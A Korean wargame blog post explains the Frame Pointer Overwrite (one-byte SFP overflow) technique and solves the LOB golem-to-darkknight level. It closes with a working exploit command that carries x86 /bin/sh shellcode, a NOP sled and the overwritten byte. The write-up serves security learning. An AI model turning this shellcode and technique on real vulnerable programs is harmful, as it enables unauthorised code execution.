Frame Pointer Overwriting 이란
Fake ebp의 하위 개념으로써 서브 함수가 필요하고 1바이트 오버플로우가 일어나면 사용할 수 있는 기법입니다.
1byte overflow라고도 하네요
버퍼 위의 SFP 부분의 1바이트를 오버플로우 할 수 있게 되면 에필로그시에 ebp 레지스터를 조작할 수 있게 됩니다.
에필로그 과정은
leave
ret
으로 이루어져 있는데
leave
move esp,ebp
pop ebp
ret
pop eip
jmp eip
로 되어 있습니다.
만약 여기서 ebp를 변조시킨다면
leave가 수행되면서 변조된 주소로 내려가겠지요
그리고 ret가 수행될 것입니다.
RET
SFP
BUFFER
의 형택의 스택이 존재할 때 이것을
RET
SFP
(1byte overflow)
NOP
SHELLCODE
NOP
형태로 덮어씌운다면
거기다 SFP가
shellcode의 nop을 가르킨다면??
어떻게 될까요
만약에 버퍼의 시작주소가 0x~~~80이라고 할때
ebp를 0x~~~78로 변경하고
leave-ret을 수행하면
leave에서 esp와 ebp가 0x78를 가르키게 되면서 pop이되어 0x7c를 가리키고 ret 에서 pop eip 가되면서 0x7c에 있는 주소를 가리킬 것이다. (0x7c는 0x80을 가리키고 있다.)
즉 ebp+4의 주소를 가르키게 됩니다.
ret 명령이 수행되며 shell코드 주소를 eip가 가르키게 됩니다.
실제로 LOB golem->darknight문제를 가지고 풀어보겠습니다.
버퍼는 40바이트인데 41바이트를 복사해주네요
더미값도 없고 그대로 SFP를 1바이트 변조할 수 있습니다.
서브함수가 leave 될때 브레이크 포인트를 걸어준 후, A 40개로 버퍼를 채우고 1바이트를 B로 채워줬습니다.
0xbffffa74가 버퍼의 시작주소이네요
0xbffffa9c가 0xbffffa42로 변조된것을 확인할 수 있습니다.
그렇다면 0xbffffa6c로 변주해주면 leave가 수행되면서 0xbffffa70의 0xbffffa74라는 주소로 eip를 수행하겠네요
하지만 실제 파일(저거는 복사한 파일 ㅎ)에서 1워드의 차이가 있었습니다.
복사한 파일의 공격 코드는
./darknight `python -c 'print "쉘코드 + nop 40바이트" + "\x6c"'` 였습니다.
하지만 실제파일에서는 1워드 낮게 있더라구요
그래서
./darkknight `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*5+"\x68"'`
코드가 됩니다.
'Security > Pwnable' 카테고리의 다른 글
pwnable.kr [Toddler's Bottle]->[fd] (0) | 2021.08.11 |
---|---|
Fake EBP (0) | 2021.08.10 |
RTL이란? (Return to Library) (0) | 2021.08.10 |
LOB Level20 xavius (0) | 2021.08.10 |
LOB Level 19 nightmare (0) | 2021.08.10 |